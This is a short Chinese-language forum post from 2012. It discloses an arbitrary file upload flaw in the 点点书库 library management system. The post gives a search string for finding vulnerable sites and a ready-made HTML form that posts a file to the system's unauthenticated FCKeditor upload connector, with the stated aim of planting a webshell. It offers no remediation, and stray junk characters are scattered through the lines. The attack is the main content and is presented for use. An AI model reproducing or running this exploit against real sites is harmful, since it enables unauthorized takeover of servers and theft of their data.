主题:图书馆系统任意文件上传漏洞4 U$ R" U4 m7 @) O; A6 ~+ g/ m
作者:冰锋刺客, h7 k0 l9 U6 C" m
厂商:点击书(dianjishu.com)6 `" b4 a, }$ W. X
日期:2012-6-21
( |$ y. {- n- w + g; Y! W; w& I+ ^" o7 _, h
I 概述
\# O# ]; g/ a I Q 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell
/ t2 I5 T1 N9 z. E II 简介
/ h. |: l3 M& b 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
7 i* z- x/ P* Y 补充一个漏洞, t7 Z: i F4 t. j
<form id="frmUpload" enctype="multipart/form-data"
; B. c3 N6 T: e action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br># B: t0 G2 q3 ]+ x2 c' |
<input id="btnUpload" type="submit" value="操翻他">, s+ s" O- C1 O" q, m+ c
</form>, Z/ `/ s i5 i8 x5 j- o
你们懂的- q- {& [0 }* M( i- L
那傻逼提供还需要改包.
: o' o! j/ T7 V2 F d* X 自己看了下源代码发现fckeditor3 j6 i6 w( Z R( a2 q' Q R, `" T
直接秒杀
# q# E% R" R& o: H |
发表于 2012-9-10 21:20:59
收藏
支持
反对